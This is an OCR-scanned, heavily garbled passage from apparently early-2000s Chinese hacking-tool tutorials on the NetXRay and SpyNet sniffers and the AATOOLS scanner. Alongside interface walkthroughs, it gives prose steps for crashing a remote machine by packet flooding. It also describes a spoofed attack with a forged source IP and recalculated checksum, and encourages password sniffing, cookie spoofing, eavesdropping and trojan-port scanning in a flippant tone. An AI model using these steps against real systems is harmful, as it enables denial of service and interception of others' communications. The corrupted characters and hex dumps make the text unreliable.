个 图 里 就 是 关于 定制 TCP 协议 分 布 的 设 定 , 在

NetXRay 中 , 有 默认 的 协议 端口 和 服务 名 称 , 但 是 你

也 可 以 自行 设置 。 很 多 时 候 有 的 主机 为 了 安全 而 升 高

了 它 的 服务 端口 。 像 FTP 默认 是 21, 但 你 不 能 完全 的

认为 只 有 21 是 可 以 接受 FTP 的 TCP 协议 ,这 个 在 U-

NIX 和 NT 中 都 是 可 以 自行 设置 服务 端口 号 的 。 所 以

在 NetXRay 中 已 经 将 很 多 服务 以 及 端口 和 候选 端口

都 列 人 了 表 内 , 但 是 它 并 不 是 死 的 , 名 字 和 端口 编号

作为 你 希望 的 监控 分 隔 项 列 在 图 表 中 , 你 可 以 进入 到

Portl 中 为 其 命名 并 指定 监控 的 端口 号 , 同 时 可 以 写

进 至 少 三 个 端口 号 , 如 果 你 只 想 写 一 个 就 在 其 他 的 端 ,

口号 内 写 人 0。

Weorkspace 项 就 是 让 你 选择 你 监控 的 时 候 都 要

哪些 监控 图 表 出 现在 界面 之 中 好 了 。

再 看 最 重要 的 界面 了 一 一 那 就 是 它 的 监听 界面

(图 5-12):

和 有

1462 一 ?File Transft 羡

11L189->File Transf>

14179->1455.S=3&40

!1455->4179.S=118

| 号 Total length: 329 (Octets)

定 | 上 - 胸 Checksum: 0xB310

站 1 国 para ooo0: oz 0

300000000: 48 54 00 00 1l6 ee 00 80 c8 db ddq 65 08 00 45 00 | 下

过 作 : 3、6f 00 00 31 1t aft 66 ca 60 aa a5 c0 a8 | 全

0t a0 01 48 b3 10 02 1 00 00 19 d6 |.

12 74 91 52 a3 94 6a 0c_ a4 97 cd 18 |

图 35-12

在 图 中 的 第 一 栏 , 显 示 的 是 所 监控 的

202. 96. 170. 165 与 192. 168. 0. 13 主机 间 的 应 用 层

的 协议 以 及 对 监控 之 后 所 得 到 的 数据 包 的 总 结 以 及

有 效 数据 包 的 长 度 和 整个 数据 包 的 长 度 、 确 认 序 列 号

的 信息 。 上 图 中 是 我 对 OICQ 的 监控 , 所 以 它 显示 的

端口 是 8000 和 4000。

而 第 二 栏 是 对 应 1 中 的 灰色 区 域 里 的 数据 包 内

容 从 协议 上 进行 的 分 析 。 这 个 图 中 所 显示 的 是 1 中 灰

色 部 分 的 耳 和 TCP 层 的 解释 , 从 这 里 可 以 看 出 这 个

捕获 到 的 数据 包 的 组 成 以 及 数据 包 使 用 的 端口 、 状

态 、 时 间 等 许多 信息 , 用 鼠标 拉动 滚动 条 可 以 看 到 更

详细 的 对 以 太 帧 和 应 用 层 的 解释 。

第 三 栏 是 这 次 捕获 的 数据 包 的 内 容 , 能 看 到 的 是

十 六 进 制 和 ASCI 两 种 显示 形式 。 左 边 是 用 十 六 进 制

表示 的 包 中 每 一 个 数据 的 位 置 , 中 间 的 部 分 是 用 十 六

进 制 表示 的 被 截获 的 数据 包 中 的 内 容 , 右边 看 到 的 则

是 ASCI 形 式 。 如 果 包 中 传输 的 是 明文 的 话 那么 你 就

可 以 直接 阅读 内 容 了 。 哈 哈 。 那 OICQ 不 是 没有 安全

感 了 ? 可 惜 不 可 能 。 因 为 OICQ 信息 是 经 过 加 密 算法

之 后 的 了 。 也 就 是 说 用 NetXRay 来 截获 别人 OICQ 的

对 话 内 容 , 那 么 你 就 先 得 拿 到 OICQ 的 算法 才 可 以

的 。

继续 再 往 下 看 (如 图 5 - 13) , 在 NetX&Ray 的 文件

[二

TOODLS

条 目 上 选择 就 可 以 得 到 如 上 界面 , 因 为 是 在

Inetmet 中 ,所 以 选择 瑟 显示 。 图 5- 13 中 可 以 看 到 你

的 机 器 与 远程 多 个 机 器 间 的 通信 情况 , 粗细 线条 则 表

示 两 台 主机 间 信 息 的 量 , 不 用 我 多 说 当然 是 粗 的 代表

正在 频繁 的 通信 而 细 的 相反 。 把 鼠标 放 在 线条 上 你 就

可 以 看 到 与 你 通信 的 主机 的 数据 大 小 〈 用 天 来 表示

的 )。 这 个 也 是 用 NetXRay 查询 OICQ 的 正 的 一 种 方

式 。 只 要 发 个 信息 给 对 方 , 这 里 马上 就 会 显示 出 对 方

与 你 的 耳 连 接 了 。 这 种 显示 因为 是 在 广域网 内 ,所 以

显示 的 是 一 对 一 的 通信 。 而 在 局 域 网 内 显示 时 将 会 更

清楚 地 描述 出 网 内 多 个 主机 间 的 通信 情况 , 可 以 看 到

哪 台 机 器 正和 哪 台 机 器 正在 通信 , 并 且 可 以 清楚 地 看

到 哪 台 机 器 正在 发 出 信息 (发 出 信息 的 时 候 线条 将 会

闪 动 ) ,还 可 以 看 到 网 内 是 否 有 盗用 卫 可 能 。

图 5-13

如 果 说 用 NetXRay 来 查找 网 络 中 正在 使 用 的 计

算 机 的 话 我 想 是 最 方便 不 过 的 了 。 让 我 们 来 看 看 这 个

界面 (图 5 - 14) ,在 NetXRay 的 文件 条 目 上 选 攻

会 出 现 如 下 的 界面 了 , 这 是 一 个 地 址 藩 。 你 可 以 在 这

里 添加 你 想 要 的 主机 卫 , 方便 你 以 后 的 使 用 , 或 者 做

临时 截获 所 用 。 在 这 里 你 可 以 自动 搜索 ( 像 放 大 镜 的

那个 图 表 就 是 ) 一 段 甚至 很 大 段 网 内 正在 使 用 着 的 主

机 , 速 度 极其 快 , 并 且 可 以 根据 你 的 设置 专门 找 有

NetBIOS 的 主机 或 者 A 类 地 址 。 如 果 说 是 可 以 加 允 个

端口 的 话 , 我 想 拿 它 来 搜索 中 木马 的 机 器 那 绝对 是 让

你 乐得 不 知 所 措 。 在 这 里 你 可 以 点 右键 选择 更 多 的 设

3 NEC 009 ee

过 5400onIEEE PR

置 或 者 修改 远程 地 址 中 的 数据 。

在 广域网 内 , 如 果 你 想 捕 获 的 时 候 因为 与 你 所 连

接 的 耳 较 多 , 这样 可 能 会 让 你 感到 凌乱 不 堪 , 那 么 你

就 得 对 要 监控 的 内 容 设置 过 滤 , 这 样 可 以 减少 信息

量 , 也 免得 那些 无 用 的 信息 留 着 。 如 何 设置 呢 ?点 击 图

5 - 工 中 工具 栏 的 按钮 “ 国 | 就 可 看 到 (如 图 5 - 15) 的

界面 :这 个 图 中 显示 的 是 NetXRay 设置 过 波 条件 的 对

话 框 。 过 滤 条 件 可 以 用 逻辑 关系 , 比如 像 AND、OR、

NOT 等 组 合 来 设置 。 在 这 里 可 以 设置 的 过 滤 条 件 有

趾 地 址 或 者 物理 地 址 〈 一 般 我 们 说 的 都 是 在 Tternet

之 中 , 使 用 的 是 TCP/ 鱼 协议 , 所 以 选择 下 地 址 是 比

较 合 适 的 ) 数据 包 、 协 议 等 好 , 那 就 一 下 下 来 设置 看

看 吧 。

喇 ; Broadcastymalticast Address

韦 队 Address Book

图 SS-15

第 一 、 地 址 类 型 , 别 考虑 了 ,选择 耻 了 , Hardware

就 不 将 了 。 选 择 模 式 , 这 里 就 要 多 几 句 了。 如 果 选

Include, 其 意义 就 是 指 NetXRay 在 捕获 的 时 候 就 会 只

对 你 在 Stationl 中 和 Station2 中 所 列 的 节点 包 进 行 捕

获 。 选 择 Exclude 则 恰恰 相反 。 也 就 是 说 它 在 捕获 的

时 候 会 过 滤 掉 Station1 和 Station2 中 所 列 的 地 址 数据

包 的 。

第 二 、 在 Stationl 和 Station2 以 及 DIR 的 设置 中 ,

你 可 以 指定 地 址 对 , 就 像 上 图 中 我 所 选 的 是

192. 168. 0.6, 而 我 要 对 它 截获 的 是 与 它 连 接 的 所 有

主机 ,也 就 是 说 这 个 Any 代表 的 是 任何 主机 的 意思 。

至 于 Dir, 则 是 要 选择 你 要 捕获 的 目标 主机 与 其 连接

主机 间 的 信息 流向 , 我 选 的 是 互 流 , 因为 要 截获 的 是

与 192. 168. 0. 6 所 连接 的 所 有 主机 与 它 的 信息 数据 ,

不 管 是 Any 发 给 192. 168. 0. 6 还 是 192. 168. 0. 6 发

给 Any 的 。 在 这 里 可 以 设置 多 个 地 址 对 的 ,只 要 你 不

党 得 乱 就 行 。

第 三 、 在 已 知 地 址 的 部 分 , 你 可 以 看 到 有 三 个 选

择 ,Any 的 意义 前 面 已 经 说 过 了 ,这 里 就 不 用 再 提 它

了 。 了 BoardCast/Multicast 指 的 是 广播 和 多 点 传送 的 固

定位 置 , 点 击 它 会 出 现 很 多 固定 的 位 置 供 你 选择 。 而

至 于 接着 下 面 的 Address Book 就 是 地 址 德 的 意思 , 在

图 5 - 14 中 已 经 说 过 了 。 在 最 右面 的 Settings For 就 是

你 地 址 短 内 所 列 及 的 了 。

好 了 , 接 着 再 看 它 过 滤 设 置 的 数据 样式 (Data

Pattem) 的 设 定 了 。( 如 图 5 - 16)

图 3-16

在 数据 样式 (Data Pattern) , 点 击 Toggle AND/

OR, 你 就 可 以 对 AND 和 OR 间 进 行 样式 的 切换 (其

实 这 种 逻辑 组 合 跟 所 有 其 他 的 逻辑 关系 的 原则 是 一

样 的 ) ,对 于 高 级 使 用 者 来 说 , 可 以 通过 添加 样式 来 选

择 自 己 更 喜欢 的 形式 ,就 请 你 自己 试 试 了 。

再 下 来 就 是 对 提前 过 滤 (Advance Fitler) 部 分 进

行 设置 ,这 是 比较 重要 的 一 个 角色 。 图 5 - 17:

[WiCRC Prror

图 $-17

从 图 中 可 以 看 到 , 当时 在 测试 的 时 候 要 截获 的 是

了 下.LAT、APOLLO、NetBUEI( 这 个 图 中 未 显示 它 , 是 在

底下 被 庆 挡 了 ) 多 个 包 (其 实在 文件 名 称 为 dd 中 , 所

要 截获 的 对 象 是 OICQ 的 ,所 以 我 选择 这 四 个 最 实在

的 ), 当然 , 你 也 可 以 根据 你 的 需要 选择 其 他 的 设 定 ,

比如 说 FTP Telnet 等 等 ,但 是 在 广域网 里 这 些 截 获 到

的 可 利用 数据 是 不 太 可 能 的 。 继 续 我 的 话题 , 当 你 选

择 卫 之 后 ,点 击 它 就 会 出 现 如 图 5 - 18 所 示 这 个 场

景 ,这 说 明 可 以 根据 数据 包 使 用 的 像 图 中 所 显示 的 协

议 进行 过 滤 , 这 样 的 话 就 不 至 于 把 那些 ICMP 或 者

ICMP 的 数据 截获 过 来 , 我 想 这 些 对 你 来 说 不 会 有 用

的 吧 , 没 用 怎么 办 ? 那 当 然 是 过 滤 掉 它们 啦 。 免 得 你 截

获 的 对 象 被 人 炸 连 你 也 涉及 进去 了 ,哈哈 …… 这 是 开

玩笑 了 。 其 实 我 一 直 都 在 提倡 着 学 习 网 络 知识 先 从 基

础 学 起 , 那么 TCP/ 了 协议 就 是 当然 要 看 的 啦 , 不 然

你 根本 不 会 明白 我 在 说 什么 ,更 别提 在 这 里 设置 了 。

图 S-18

在 信息 包 尺寸 (Pecket Size) 部 分 ,默认 就 可 以 , 当

然 你 也 可 以 根据 你 的 需要 来 设置 信息 包 的 长 度 、 信 息

包 里 数据 的 位 置 (起 始 字 节 位 置 和 结束 字 节 位 置 ) 以

及 显示 为 十 六 进 制 或 ASCII 样式 等 。 在 NetXRay 上 你

还 可 以 对 信息 数据 包 的 大 小 设置 一 些 像 小 于 、 等 于 、

大 于 等 膛 辑 关系 。

继续 往 下 走 , 就 走 到 了 缓冲 区 的 设置 (Buffer)

了 。 这 里 就 是 让 你 设 定 NetXRay 在 截获 的 时 候 要 选择

的 一 些 问题 。 好 了 , 看 图 一 一 说 话 (图 5 - 19) 在 这 里

的 缓冲 区 区 大 小 (Buffer Size) 和 缓冲 区 满 (When buffer

is fuD) 的 部 位 , 是 让 你 设 定 你 要 截获 多 少 个 信息 数据

包 之 后 停止 截获 的 , 如 要 截获 的 是 OICQ 的 信息 , 相

对 来 说 比较 小 ,所 以 就 可 以 不 设置 。 当 然 了 ,你 可 以 根

据 你 的 所 需 来 自己 设 定 了 。 捕 获 缓 冲 区 〈Capture

buffer) 部 分 , 你 可 以 将 文件 选择 要 保存 的 路 径 , 文件

图 5S-19

名 可 自己 设 定 。 而 信息 包 尺寸 (Peeket Size) 这 里 你 可

要 注意 一 下 了 , 你 可 以 为 它 来 设 定 大 小 , 自己 试 试 好

在 Nebuay 里 还 可 以 截获 以 太 网 帧 及 其 中 所 含 的

数据 ,你 可 以 在 选项 Captureyview… 中 选 这 个 项 目 。

这 个 项 目 分 两 个 图 层 , 上 面 的 窗口 是 帧 缓存 器 , 它 可

以 表示 每 个 捕获 的 以 太 网 帧 。 如 果 你 选 到 一 帧 ,就 可

以 在 下 面 的 两 个 窗口 观察 它 的 内 容 , 但 是 是 原始 的 数

据 及 译 码 信息 。 你 可 以 借助 Decode 阅读 数据 ,好 像 有

点 类 似 于 读 0SI 协议 一 样 , 你 可 以 从 数据 链 路 层 到

了 ,再 到 UDP( 传 输 层 ) ,最 终 到 DNS。 但 是 该 分 组 不 会

携带 用 户 数据 的 ,只 是 停留 在 会 话 框 。 好 了 ,现在 我 们

来 看 它 的 最 突出 的 界面 一 一 监控 : (图 5 - 20) 点 击

NetXRay 的 文件 条 目 着 | 里 的 就 可 以 得 到 图 5- 20

这 个 界面 了 ; 亦 即 是 图 5 - 2 的 start 界面 。 现 在 你 看 到

的 是 已 经 启动 截获 的 Capture 的 界面 , 在 这 个 界面 里

要 开始 启动 截获 首先 要 来 设置 它 的 截获 条 件 。 怎 么 设

置 ? 哈哈 ,就 是 上 面 你 所 看 到 的 那些 了 。 这 反 着 来 说

图 5-20

的 , 因为 只 有 这 样 才能 更 加 清楚 地 认识 NetXRay 的 。

图 5 -20 中 , 上 面 有 停止 查看 等 项 ,你 认为 你 已 经 截

获 到 足够 你 所 需要 的 信息 包 了 ,, 那 就 点 击 它 , 点 击 之

后 就 是 上 面 图 5- 3 中 的 ……:

其 实 很 多 时 候 ,NetXRay 并 非 你 想像 中 的 那么 复

杂 , 只 要 你 经 常 地 打开 它 来 测试 ,时间 长 了 你 就 会 慢

慢 的 地 很 熟练 地 用 它 的 。 话 说 到 这 里 本 该 就 结束 了 ,

但 是 利用 NetXRay 的 信息 包 发 送 的 功能 还 可 以 作 其

他 用 途 , 在 这 里 简单 提 一 下 , 具体 的 还 要 你 自己 去 摸

索 了 。

利用 NetXRay 对 远程 机 器 的 攻击 ,使 其 目标 机 器

网 速 及 系统 变 慢 而 导致 死机 。

在 NetXRay 中 有 一 个 界面 (如 图 5 - 21), 在 这 里

你 可 以 设置 向 一 台 远程 机 器 发 送信 息 包 。 点 击 第 三 个

按钮 ,会 出 现 一 个 对 话 框 让 你 设置 信息 包 的 大 小 尺寸

以 及 发 送 的 节点 是 循环 发 送 还 是 设 定 几 次 发 送 。 信 息

包 的 数据 是 十 六 进 制 的 样式 , 还 有 一 个 解码 部 分 让 你

途 也 采 烦 你 能 告诉 我 一 声 ,我 将 不 胜 感 激 。

选择 。 我 选择 过 Data 的 样式 ,然后 用 第 一 个 按钮 来 发

送 。 点 击 第 三 个 按钮 你 可 以 选择 把 你 刚刚 截获 到 的 信

息 数据 包 给 发 送出 去 。 在 这 里 建议 你 这 个 部 位 最 好 是

慎 用 。 我 曾 在 测试 中 致使 一 台 远 程 机 器 死机 数 次 。 但

是 如 果 操作 不 正确 的 话 有 可 能 把 自己 搞 下 线 , 所 以 这

里 只 有 你 自己 去 琢磨 了 。

用 NetXRay 也 可 以 对 一 台 远 程 服 务 器 发 起 伪装

攻击 , 这 个 就 需要 高 级 用 户 来 测试 了 。 而 且 现在 很 多

服务 器 面 对 此 类 的 攻击 根本 就 是 不 堪 一 击 的 。 你 可 以

照 着 上 面 所 说 的 生成 一 个 比较 正常 (这 种 正常 所 指 的

是 不 要 过 于 大 尺寸 ,类 似 于 像 几 个 ping 等 类 的 就 足够

了 ) 的 信息 数据 包 , 再 用 FTP 或 者 telnet、gopher 等 方

式 连接 到 你 所 要 攻击 的 目标 机 器 后 发 送 这 个 信息 数

据 包 给 它 , 然后 再 用 NetXRay 把 它 截获 下 来 。 接 着 修

改 这 个 数据 包 ,找到 Source IP 的 那个 offset , 把 它 改 成

随便 一 个 下 (什么 是 随便 一 个 TP? 当然 是 你 看 着 想 是

一 个 下 的 形式 就 是 随便 一 个 卫 了 ,美国 白宫 的 主机

PP 都 成 )。 顺 着 找 出 关于 校 验 和 的 地 址 (这 个 校 验 和 的

地 址 在 哪里 啊 ? 问 我 ?呵呵 , 问 我 你 还 不 如 问 问

NetXRay 了 ) , 改 好 校 验 和 , 最 后 把 这 个 信息 数据 包 复

制 起 来 , 再 拿 到 上 面 的 那个 界面 上 发 送 给 目标 机 器 。

不 赁 别 的 ,就 赁 NetXRay 的 发 送信 息 数据 包 时 的 那 种

快感 (一 秒 钟 可 以 发 出 几 千 个 耶 ), 用 那么 几 十 分 钟 ,

你 就 可 以 让 这 人 台 机 器 死 个 几 次 ( 那 要 看 这 台 机 器 的 承

受 能 力 啦 , 说 不 准 几 十 分 钟 可 以 让 它 死 个 近 十 次 也 都

不 敢 保证 哦 )。 关 于 这 个 你 看 了 还 不 明白 就 别 间 我 了 ,

我 不 会 告诉 你 的 。 问 也 是 白 问 , 因为 我 一 直 想 做 一 个

网 络 中 的 道德 者 。

在 NetXRay 中 , 其 实在 局 域 网 上 ,, 它 可 以 在 口令

截获 方面 做 得 更 好 一 点 , 要 是 与 天 行 的 网 络 刺 客 合作

起 来 那 简直 就 是 局 域 网 中 的 最 佳 拍档 。 从 理论 上 讲 ,

这 个 环节 可 以 推行 到 广域网 之 中 的 , 但 是 它 的 可 实现

性 毕竟 很 小 ,我 尝试 过 数 百 次 ,效果 有 是 有 ,但 是 不 明

显 ,也 很 麻烦 。

上 面 所 说 的 只 是 我 能 表述 到 的 , 其 实 NetXRay 中

有 很 多 功能 这 里 还 并 未 提 到 。 没 提 到 就 不 能 说 是 没

有 , 如 果 众 位 有 人 能 更 清楚 NetXRay 在 其 他 方面 的 用

网 络 嗅 探 器 SpyNet Sniffer 是 一 款 极 好 的 网 络 监

听 工 具 , 由 Spynet 公司 出 品 , 也 称 得 上 是 一 款 名 副 其

实 的 “网 络 间谍 ”软件 , 包含 telnet, POP , KQ, HTIIE,

login 等 等 。.- 使 用 平 台 可 以 是 Win9x/ Win NT/

Win2000, 但 是 记得 要 有 下 4 以 上 版 本 的 浏览 器 支

持 。 它 不 仅 可 以 告诉 你 谁 已 经 连接 到 你 的 系统 , 而 且

告诉 你 他 正在 做 什么 , 如 果 有 人 攻击 你 的 系统 ,

SpyNet Sniffer 可 以 为 您 把 取证 据 。

该 软件 非常 小 ,仅仅 2. 3MB, 安 装 非常 简单 , 安

装 好 之 后 分 CaptureNet 和 PeepNet 两 个 部 分 , 看 名 字

也 知道 该 是 做 什么 用 的 了 。 与 NetXray 相 比 , 它 占用

系统 资源 较 小 ,使 用 起 来 也 相对 容易 一 些 , 并 且 能 重

组 信息 包 构 成 里 的 TCP sessions, 卫 -MA 下 信息 ,

POP3 登录 信息 ,等 等 ;还 能 实现 cookies 伪装 。 现 在 星

探 器 部 分 已 经 可 以 在 Windows 2000 下 运行 , 用 2000

上 网 顺丰 的 朋友 不 妨 试 一 试 。

在 局 域 网 内 ,SpyNet Sniffer 的 作用 显得 非常 有

用 , 我 们 可 以 利用 它 了 解 自 己 的 系统 、 监 听 自 己 的 网

络 状 况 、 数 据 传输 ,还 可 以 进行 偷 听 、 窗 密 等 等 。

下 面 我 们 就 开始 看 看 该 软件 的 安装 、 界 面 、 设

置 。

安装 比较 简单 , 与 一 般 软 件 一 样 , 依据 提示 点 击

“Next” 和 “Yes”" 按 钮 ,一 直到 “Finish 按钮 。 在 此 过 程

中 默认 的 安装 方式 是 典型 安装 , 完 成 后 包含

“CaptureNet” 和 "“PeepNet" 两 个 软件 。 安 装 完成 后 首次

运行 CaptureNet, 会 弹出 设置 界面 , 如 图 1。 对 于 一 般

的 拨号 上 网 用 户 , 选择 第 一 项 “拨号 适配器 ”, 局 域 网

用 户 选择 第 二 项 , 即 绑 定 网 卡 , 确 定 后 进入 使 用 界

面 。 对 于 Action 项 , 当 缓冲 器 满 的 时 候 , 有 3 种 选项 :

1. 清 刷 缓冲 器 的 文件 : a) 重新 写 人 履 盖 原文

件 。b) 扩 展 文件 大 小 。 不 过 很 快 文件 会 变 很 大 。

Resltek RTL8029 (AS) PCIT 了 thernet MIC

图 1

2. 外 部 内 存 缓冲 :不 用 硬盘 操作 , 直接 覆盖 原来

的 捕获 记录 。

3. 停止 捕获 。

在 此 你 还 可 以 设置 捕获 信息 的 文件 名 , 选中 对 号

时 , 记录 文件 有 覆盖 和 扩展 两 种 方式 。 后 面 是 记录 文

件 路 径 ,记录 文件 运行 的 界限 值 。

Miscellaneous 项 中 告诉 你 内 存 分 配 量 , 并 告诉 你

当 捕 获 的 数据 包 的 值 为 多 少时 ,peepnet 可 以 进行 分

析 。

我 们 看 看 图 2, MAC 地 址 显示 适配器 在 硬盘 上 的

地 址 。IP address 表示 本 机 的 卫 地 址 ,现在 我 们 已 经

可 以 使 用 了 , 只 要 点 击 图 3 中 Start caoture 图 标 , 和 旁边

SEERSSS

图 2

仆人

图 3

1

TCDCL 写

那个 打 着 呼噜 的 家 伙 立 刻 精 神 起 来 , 监视 着 你 的 网 络

运行 情况 。 剩 下 的 工作 就 要 你 来 分 析 数 据 包 了 。

再 看 看 界面 上 其 他 部 分 的 功能 , 先 从 工具 栏 开

始 , 密 | 图 标 重 新 设置 缓冲 块 数 ,清除 数据 包 列表 和

内 存 的 缓冲 块 数 , 使 已 收 数据 包 默 置 0, 遂 | 图 标 打

开 一 个 先前 捕获 并 保存 的 后 绥 为 cap 的 文件 , 葡 |

标 表示 捕获 后 用 这 个 按钮 保存 捕获 的 数据 ,Adapter

显示 一 个 选 定 的 适配器 网 络 名 ; Packets in 显示 缓冲

数据 包 数 ; PeepNet 可 启动 peepnet。 要 注意 的 是 当 捕

获 时 ,

软件 过 滤器 (Software Filter) 。

硬件 过 滤器 (HardWare Filter) 如 图 4, 有 5 种 模式

可 供 选 择 : Promiscuous( 噪 音 模 式 的 过 滤器 ) , 告 诉

capturenet 所 有 捕获 的 数据 包 ; Directed( 直 接连 接 的 过

滤器 ) , 告诉 capturenet 捕获 的 数据 包 到 适配器 , 不 向

适配器 发 送 数据 包 。; Multicast( 多 点 传送 过 滤器 ) , 告

诉 CaptureNet 捕获 到 的 多 点 传送 包 ; All Multicast( 完

整 的 多 点 传送 过 滤器 ) , 告 诉 CaptureNet 捕获 到 的 所

有 多 点 传送 包 ; BroadCast( 广 播 过 滤器 ) , 告 诉 Cap-

tureNet 捕获 到 多 点 广播 包 。

图 4

软件 过 滤器 (Software Flter) 如 图 5, 右边 上 方 的

同时 显示 16 进 制 数据 和 对 应 的 Ase J 字 符 )。

大 窗口 如 图 6 显示 CaptureNet 捕获 的 数据 包 , 右边 下

方 的 小 窗口 如 图 7 显示 的 是 具体 数据 包 中 的 内 容 (会

汪汪 证 证 |

1382- 1 亚 UDP 192. 158.0.119 192. 168. 0.8 4000 4000 we

1383 1., 了 王 UDP 192. 168.0. 119 192.168.0.8 4000 4000 人

1384 1 亚 UDP 192. 168.0.1 192. 168. 0. 255S 2625 39213

1385 1.. 了 王 IUD? 192.168.0.1 192. 158.0. 255S 2626 39213 Re

1368 二 了 UDP 211. 167.94.115 ”192. 168.0.8 9744 4000 Se

1387 1.. 王 IDP 192. 168.0.8 211.187.94.115 4000 9744 下

LS388, 证, IE UDD? 192. 168.0.1 192. 168. 0. 255 2627 39213 和

80 六。 TCP- 8WW-HTTP 61. 135. 128. 50 192. 168.0.6 80 1079 272

1390 工 还 TCP- 帝 WiY-HTTP 192. 168.0.8 681. 135. 128.S0 1079 80 271

EEC 2

1392 1.. 了 开 IDP 192. 168.0.1 192. 168.0.255 2645 39213 is

1393 1 匡 UDP 192. 168.0.1 192. 168. 0. 255 2646 39213 Ga

1394 1 下 UDP 192. 168. 0.1 192. 168.0.2S5 2647 39213 4

图 6

0000: 88 人 KE 2 9 72 二 2 3 HH 23 35 49 4 00 45 00 .raRI.I^IT, .BE

09310: ol 4D D1 0Lt 40 00 80 0 人 及 和 3F 0 站 玉生 作 办 汪 人 人 这 了 下 . .@. .3?。,, ,om

0029: 4 32 有 337 98 5 有 RGB 2 丰 4 23 六 9 和 8 50 18 .2.7. 了 .)at,,,,P

0030: ?22 38 09 86 60 00 47 45 54 20 2F 20 4 54 54 50 "8.,..GET /TYTI

00d9: 2F 34 2B 31 0D 0R 41L 63 63 65 70 7& 38 20 69 6D AI , 芋 . .及 CCebt: 了

0050: 61 67 65 2RF 67 69 66 2C 280 69 6D 61 637 65 2FR 78 ageAgi,inageA

0060; 2D 78 62 69 74 6D 61 70 2C 20 69 6D 61 67 65 2 -hitrmnap ,imacde,

0070: 30.65 67 2C0 20 69 6D 61 63 65 2F 70 6 70 65 林 peg,imageApjpl

0080: 67 2C 20 61 70 30 6C 69 63 61 74 69 6F 6R 2F 6D 9,applicatIonA

软件 过 滤器 (Software Filter) : 点 击 Modidy Filter

(修改 过 滤器 ) 按钮 即 可 对 其 进行 设置 如 图 8, 它 可 以

设置 具体 的 数据 包 捕获 类 型 (Layer 2,3) , 指定 内 容 数

据 包 的 捕获 (Patten Matching) , 指定 卫 地 址 数据 包 的

捕获 ( 卫 Address), 指定 端口 数据 包 的 捕获 (Port) 等

等 ;其 中 指定 数据 包 捕 获 类 型 (Layer 2,3) 中 可 以 直接

指定 具体 的 数据 帧 类 型 (frame) 和 具体 的 协议

(Protocal) 。

Unseleet 使 得 带 有 红 点 的 包 从 已 经 选择 的 数据

包 中 移出 。Find 将 与 软件 过 滤器 匹配 的 数据 包 用 红 点

符号 选中 。

CaptureNet 记录 着 你 的 机 器 上 的 数据 , 在 你 完

数据 捕获 并 保存 后 , 你 就 可 以 利用 PeepNet 对 数据 包

进行 分 析 。 在 PeepNet 下 ,你 只 要 去 读 你 保存 的 二 .cap

文件 ,仔细 分 析 , 如 果 有 人 在 攻击 你 ,相信 你 一 定 可 以

找到 攻击 者 的 下 地 址 。 鱼

一 人 AATOOLS 简介

安装 好 AATOOLS 后 ,我们 当然 先 要 启动 它 。 首 爷 软

件 会 要 求 你 输入 注册 码 , 下 一 步 , 进入 了 AATOOIS 的 主

界面 , 整个 界面 十 分 简洁 , 其 中 最 主要 的 就 是 Tools 的 工

具 栏 了 , 也 就 是 第 二 行 的 快捷 菜单 , 从 左 到 右 依次 是

PORT SCANNER( 端 口 扫 描 器 )、PROXY ANALYZER( 代

理 分 析 器 )、CGI ANALYZER( 通 用 网 关 接 口 分 析 器 )、 匡

MAIL VERIFIER(EMAIL 验证 工具 )、LINK ANALYZER

(超级 连接 分 析 器 )、 有 WHOIS(WHOIS 查询 工具 )、NET-

WORK STATUS( 网 络 状况 )、PROCESS INFO( 进 程 信息 )

和 SYSTEM INFO( 系 统 信息 ) 共 9 个 小 类 组 成 。

二 、AATOOLS 使 用 指南

我 们 先 从 左边 第 一 个 快捷 方式 开始 依次 进行 介绍 。

1. PORT SCANNER (端口 扫描 器 )

“首先 点 击 一 下 PORT SCANNER 工具 〈 端 口 扫描 器 )

的 快捷 方式 ,我们 就 要 开始 了 (如 图 1)。 在 这 个 工具 中 ,

最 主要 的 是 如 何 设置 PORT, 也 就 是 端口 , 这 个 工具 已 经

附带 了 几乎 所 有 的 已 知 端口 , 按 一 下 右上 方 的 Port Setup

键 ( 见 图 2), 可 以 看 到 , 从 工 - 60000 的 已 知 开放 的 端口

TOODLS

Advanced _ Administrative Tools( 又 称 AA-

TOOLS) 是 G-LOCK 坎 件 公司 出 品 的 网 络 增强

管理 工具 ,此 工具 功能 强大 、 全 面 , 可 以 成 为 任何

一 名 网 络 管理 员 的 好 助手 。 下 文 对 其 进行 详尽 介

Po

文 / 姚 远

都 有 比较 详细 的 说 明 (在 端口 后 面 的 描述 栏 里

面 ), 通常 我 们 要 做 的 就 是 选择 右上 方 的 Select Al

或 者 Deselect Al, 同 时 也 可 以 选择 左上 方 的 Port

Sets( 端口 类 ) , 其 中 共有 5 类 端口 (NSF、HSF、

PROXY PORTS 、EVERYTHING、TROJAN ) , 你 可 以

选择 试 试看 , 同 时 这 里 也 是 你 学 习 端口 功能 的 一

个 好 地 方 。 最 下 方 的 那个 Psert 键 是 给 我 们 用 来 自

行 设 定 未 知 端口 的 。 好 ,我们 试 试 ! 按 下 INSERT,

我 们 可 以 发 现 , 刚 才 灰 色 的 add/ehange port info 的

文本 菜单 现在 变 成 高 亮 显示 了 , 试 着 输入 一 下 他

们 没有 设置 的 端口 。Port 那里 输入 7626 ,Descrip-

tion 里 我 们 可 以 这 样 输入 :“ 木 马 工具 “冰河 ”所 开

的 端口 , 按 Insert, 把 滚 劲 条 往 下 拉 到 7777( 系 统 已 设

置 的 端口 ) ,找到 了 ,7626 的 端口 已 经 上 去 了 。 如 果 你

不 喜欢 , 可 以 按 下 面 的 Delete 把 这 个 设置 删除 掉 。 怎

么 样 ,很 方便 吧 。

注意 : 有 一 些 非常 重要 的 端口 它 没有 设置 比

如 , 3389(Windows 输入 法 洗 澜 的 端口 )、7626( 冰 河 所

开 的 端口 ) 等 ,大 家 可 以 自行 设置 。

当 所 有 端口 设置 完毕 后 , 按 OK 返回 主 界面 。

好 了 , 进攻 要 开始 了 ,, 我 们 将 以 我 们 自己 的 网 站

“异域 天 空 网 络 安全 中 心 ”http: / /www. cojllinsgu. com

进行 测试 。

在 HOST NAME 里 填 和 人 : www. collinsgu. com 后 按 .

Lookup , 这 步 是 为 了 Ping 出 网 址 的 卫 , 然 后 按 Add

键 ,网 站 的 卫 即 添加 成 功 。 当 然 如 果 你 知道 一 个 网 站

卫 的 话 , 直 接 Paste 到 下 面 的 host name/ips for scan

里 就 行 了 。 大 家 可 以 参考 (图 1) (一 般 左 上 方 的 进程

数 和 连接 超时 时 间 可 以 不 用 更 改 , 使 用 默认 值 即 可 ),

还 有 一 点 很 重要 的 : 如 果 你 要 用 这 个 软件 搞 一 些小 故

